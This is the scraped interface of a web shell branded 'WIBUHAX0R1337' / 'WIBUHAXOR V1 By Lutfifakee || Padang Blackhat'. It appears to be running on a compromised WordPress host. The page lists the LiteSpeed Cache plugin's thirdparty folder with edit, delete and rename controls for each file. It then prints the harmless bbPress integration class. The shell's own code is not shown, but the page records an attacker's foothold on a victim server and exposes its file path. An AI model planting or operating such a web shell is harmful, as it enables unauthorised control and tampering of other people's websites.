-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
www
/
wp-content
/
plugins
/
litespeed-cache
/
thirdparty
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
amp.cls.php
1.838KB
Edit File
Delete File
Rename
autoptimize.cls.php
0.738KB
Edit File
Delete File
Rename
avada.cls.php
0.655KB
Edit File
Delete File
Rename
bbpress.cls.php
2.349KB
Edit File
Delete File
Rename
beaver-builder.cls.php
0.943KB
Edit File
Delete File
Rename
caldera-forms.cls.php
0.418KB
Edit File
Delete File
Rename
divi-theme-builder.cls.php
2.233KB
Edit File
Delete File
Rename
elementor.cls.php
1.632KB
Edit File
Delete File
Rename
entry.inc.php
1.479KB
Edit File
Delete File
Rename
facetwp.cls.php
0.694KB
Edit File
Delete File
Rename
gravity-forms.cls.php
0.532KB
Edit File
Delete File
Rename
litespeed-check.cls.php
4.645KB
Edit File
Delete File
Rename
perfmatters.cls.php
0.667KB
Edit File
Delete File
Rename
theme-my-login.cls.php
0.874KB
Edit File
Delete File
Rename
user-switching.cls.php
0.531KB
Edit File
Delete File
Rename
wc-pdf-product-vouchers.cls.php
0.657KB
Edit File
Delete File
Rename
wcml.cls.php
0.938KB
Edit File
Delete File
Rename
woocommerce.cls.php
24.335KB
Edit File
Delete File
Rename
woocommerce.content.tpl.php
3.519KB
Edit File
Delete File
Rename
wp-polls.cls.php
0.492KB
Edit File
Delete File
Rename
wpdiscuz.cls.php
0.736KB
Edit File
Delete File
Rename
wplister.cls.php
0.696KB
Edit File
Delete File
Rename
wpml.cls.php
0.638KB
Edit File
Delete File
Rename
wptouch.cls.php
0.711KB
Edit File
Delete File
Rename
<?php // phpcs:ignoreFile /** * The Third Party integration with the bbPress plugin. * * @since 1.0.5 */ namespace LiteSpeed\Thirdparty; defined('WPINC') || exit(); use LiteSpeed\Router; class BBPress { /** * Detect if bbPress is installed and if the page is a bbPress page. * * @since 1.0.5 * @access public */ public static function detect() { if (function_exists('is_bbpress')) { add_action('litespeed_api_purge_post', __CLASS__ . '::on_purge'); // todo if (apply_filters('litespeed_esi_status', false)) { // don't consider private cache yet (will do if any feedback) add_action('litespeed_control_finalize', __CLASS__ . '::set_control'); } } } /** * This filter is used to let the cache know if a page is cacheable. * * @access public * @since 1.2.0 */ public static function set_control() { if (!apply_filters('litespeed_control_cacheable', false)) { return; } // set non ESI public if (is_bbpress() && Router::is_logged_in()) { do_action('litespeed_control_set_nocache', 'bbpress nocache due to loggedin'); } } /** * When a bbPress page is purged, need to purge the forums list and * any/all ancestor pages. * * @since 1.0.5 * @access public * @param integer $post_id The post id of the page being purged. */ public static function on_purge( $post_id ) { if (!is_bbpress()) { if (!function_exists('bbp_is_forum') || !function_exists('bbp_is_topic') || !function_exists('bbp_is_reply')) { return; } if (!bbp_is_forum($post_id) && !bbp_is_topic($post_id) && !bbp_is_reply($post_id)) { return; } } // Need to purge base forums page, bbPress page was updated. do_action('litespeed_purge_posttype', bbp_get_forum_post_type()); $ancestors = get_post_ancestors($post_id); // If there are ancestors, need to purge them as well. if (!empty($ancestors)) { foreach ($ancestors as $ancestor) { do_action('litespeed_purge_post', $ancestor); } } global $wp_widget_factory; $replies_widget = $wp_widget_factory->get_widget_object('BBP_Replies_Widget'); if (bbp_is_reply($post_id) && $replies_widget) { do_action('litespeed_purge_widget', $replies_widget->id); } $topic_widget = $wp_widget_factory->get_widget_object('BBP_Topics_Widget'); if (bbp_is_topic($post_id) && $topic_widget) { do_action('litespeed_purge_widget', $topic_widget->id); } } }
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat